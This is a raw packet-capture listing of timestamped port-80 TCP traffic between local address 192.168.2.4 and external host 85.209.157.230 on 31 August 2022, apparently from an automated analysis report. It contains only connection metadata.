Aug 31, 2022 14:28:35.117304087 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.117376089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.117399931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.117422104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.117541075 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.117548943 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.117640018 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.117897987 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.117927074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.117944956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.117984056 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.118139982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.118165016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.118179083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.118249893 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.118516922 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.118541002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.118556976 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.118597984 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.118736982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.118760109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.118774891 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.118810892 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.119257927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.119282961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.119298935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.119335890 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.119524956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.119540930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.119551897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.119580984 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.119826078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.119878054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.119889975 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.119920969 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.120177031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.120242119 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.120259047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.120301962 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.120527983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.120553970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.120564938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.120609045 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.120886087 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.120912075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.120940924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.120964050 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.121356964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.121375084 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.121387005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.121414900 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.121525049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.121541977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.121552944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.121587038 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.121807098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.121824980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.121835947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.121865988 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.122102976 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.122119904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.122131109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.122167110 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.122899055 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.122916937 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.122927904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.123061895 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.123090982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.123166084 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.123178959 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.123208046 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.123440981 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.123470068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.123481035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.123509884 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.123661041 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.123722076 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.123733044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.123765945 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.124140024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.124155998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.124166012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.124217987 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.124344110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.124363899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.124375105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.124397993 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.124627113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.124650002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.124660015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.124687910 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.124902010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.124959946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.124972105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.125000000 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.125297070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.125320911 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.125333071 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.125380993 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.125567913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.125631094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.125643015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.125674009 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.125888109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.125904083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.125926971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.125941992 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.126171112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.126187086 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.126198053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.126221895 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.126528978 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.126562119 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.126573086 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.126633883 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.126785040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.126801968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.126811028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.126840115 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.127181053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.127197027 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.127207041 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.127253056 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.127434969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.127459049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.127470970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.127496958 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.127760887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.127815008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.127830982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.127871037 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.128083944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.128110886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.128154993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.128197908 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.129018068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.129035950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.129087925 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.129098892 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.129113913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.129129887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.129142046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.129169941 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.130228996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.130245924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.130261898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.130301952 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.130424023 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.130440950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.130451918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.130487919 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.131361008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.131377935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.131391048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.131416082 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.131514072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.131530046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.131540060 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.131582975 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.274394035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.274457932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.274497986 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.274535894 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.274581909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.274656057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.274683952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.274698973 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.275106907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.275173903 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.275213003 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.275221109 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.275305986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.275369883 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.275405884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.275429010 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.276046991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.276091099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.276117086 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.276141882 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.276155949 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.276207924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.276258945 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.276278019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.276573896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.276649952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.276679039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.276699066 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.276738882 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.276812077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.276839972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.276885986 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.277225971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.277277946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.277311087 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.277385950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.277411938 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.277431965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.277463913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.277472019 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.277659893 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.277699947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.277725935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.277761936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.277766943 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.277801037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.277828932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.277870893 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.278239012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.278304100 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.278333902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.278362036 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.278378963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.278418064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.278456926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.278465986 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.278775930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.278826952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.278855085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.278903008 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.278949976 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.279001951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.279031038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.279050112 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.279444933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.279483080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.279511929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.279551029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.279556990 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.279587984 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.279624939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.279628992 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.279978037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.280019045 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.280045033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.280085087 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.280126095 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.280179024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.280203104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.280244112 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.280896902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.280952930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.280977964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.281027079 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.281033039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.281070948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.281091928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.281124115 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.281502962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.281550884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.281575918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.281610012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.281631947 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.281641960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.281666994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.281697035 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.282447100 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.282480001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.282504082 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.282541037 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.282622099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.282654047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.282675982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.282717943 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.283037901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.283075094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.283097982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.283130884 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.283152103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.283195972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.283217907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.283252001 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.283751965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.283787966 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.283839941 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.283849001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.283880949 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.283914089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.283936977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.283951044 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.284208059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.284240007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.284256935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.284359932 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.284430981 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.284523964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.284554005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.284598112 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.284924984 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.284991980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.285017014 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.285048008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.285063982 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.285082102 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.285137892 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.285146952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.285520077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.285554886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.285588026 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.285680056 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.285733938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.285768986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.285792112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.285830021 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.286036968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.286083937 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.286108017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.286139965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.286164045 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.286171913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.286195040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.286214113 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.286520958 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.286554098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.286576986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.286597967 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.286619902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.286676884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.286699057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.286725998 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.287172079 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.287236929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.287260056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.287291050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.287303925 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.287322998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.287362099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.287388086 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.287631035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.287667036 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.287688971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.287709951 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.287720919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.287786961 CEST	80	49726	85.209.157.230	192.168.2.4
